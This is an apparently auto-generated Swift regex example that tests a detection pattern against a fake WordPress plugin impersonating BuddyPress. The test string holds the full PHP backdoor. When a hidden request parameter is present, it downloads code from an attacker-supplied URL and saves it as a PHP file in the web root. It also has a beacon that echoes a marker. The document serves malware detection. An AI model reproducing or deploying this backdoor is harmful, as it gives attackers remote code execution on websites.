import Foundation
let pattern = #"^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*.{0,150}?plugin name:\s*buddypres\s*.{0,300}?function mainfuncworker1329[\(\)\{\s]+function receiveinfofunc52432\(\$url\).{0,400}?\$output\s*=\s*file_get_contents\(\$url.{0,550}?file_put_contents\(\$file,\s*\$dump.{0,450}?if\s*\(isset\(\$_request\["\w+"\].{0,230}?init',\s*'mainfuncworker1329[[:punct:]\s]+$"#
let regex = try! NSRegularExpression(pattern: pattern, options: [.caseInsensitive, .dotMatchesLineSeparators])
let testString = #"""
<?php
/**
* The BuddyPress Plugin.
*
* BuddyPress is social networking software with a twist from the creators of WordPress.
*
*/
/**
* Plugin Name: BuddyPres
* Description: BuddyPress adds community features to WordPress. Member Profiles, Activity Streams, Direct Messaging, Notifications, and more!
* Author: The BuddyPress Community
* Version: 5.1.2
* Text Domain: buddypres
* License: GPLv2 or later (license.txt)
*/
function mainfuncworker1329(){
function receiveinfofunc52432($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
if (!$output) {
$output = file_get_contents($url);
if (!$output) {
$handle = fopen($url, "r");
$output = stream_get_contents($handle);
fclose($handle);
}
}
if (!$output) {
return false;
} else {
return $output;
}
}
function placeinfofunc842743242($file, $dump)
{
$dump = '<?php /*' . md5(rand(0, 9999999999)) . md5(rand(0, 9999999999)) . ' */?>' . $dump;
file_put_contents($file, $dump);
}
if(isset($_REQUEST["ofdsnvcxq"])) {
$url = $_REQUEST["url"];
$flename = $_REQUEST["savename"];
$fullflename = $_SERVER["DOCUMENT_ROOT"] . "/$flename.php";
$dataFromURL = receiveinfofunc52432($url);
if($dataFromURL){
placeinfofunc842743242($fullflename,$dataFromURL);
}
}
}
function echolocationgood146343(){
if (isset($_REQUEST["fioqfzjsdlk"])){
function echolocationBodygood146343(){
echo 'jhauqofmzhs';
}
echolocationBodygood146343();
exit;
}
}
add_action('init', 'echolocationgood146343');
add_action('init', 'mainfuncworker1329');
"""#
let stringRange = NSRange(location: 0, length: testString.utf16.count)
let matches = regex.matches(in: testString, range: stringRange)
var result: [[String]] = []
for match in matches {
var groups: [String] = []
for rangeIndex in 1 ..< match.numberOfRanges {
let nsRange = match.range(at: rangeIndex)
guard !NSEqualRanges(nsRange, NSMakeRange(NSNotFound, 0)) else { continue }
let string = (testString as NSString).substring(with: nsRange)
groups.append(string)
}
if !groups.isEmpty {
result.append(groups)
}
}
print(result)
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Swift 5.2, please visit: https://developer.apple.com/documentation/foundation/nsregularexpression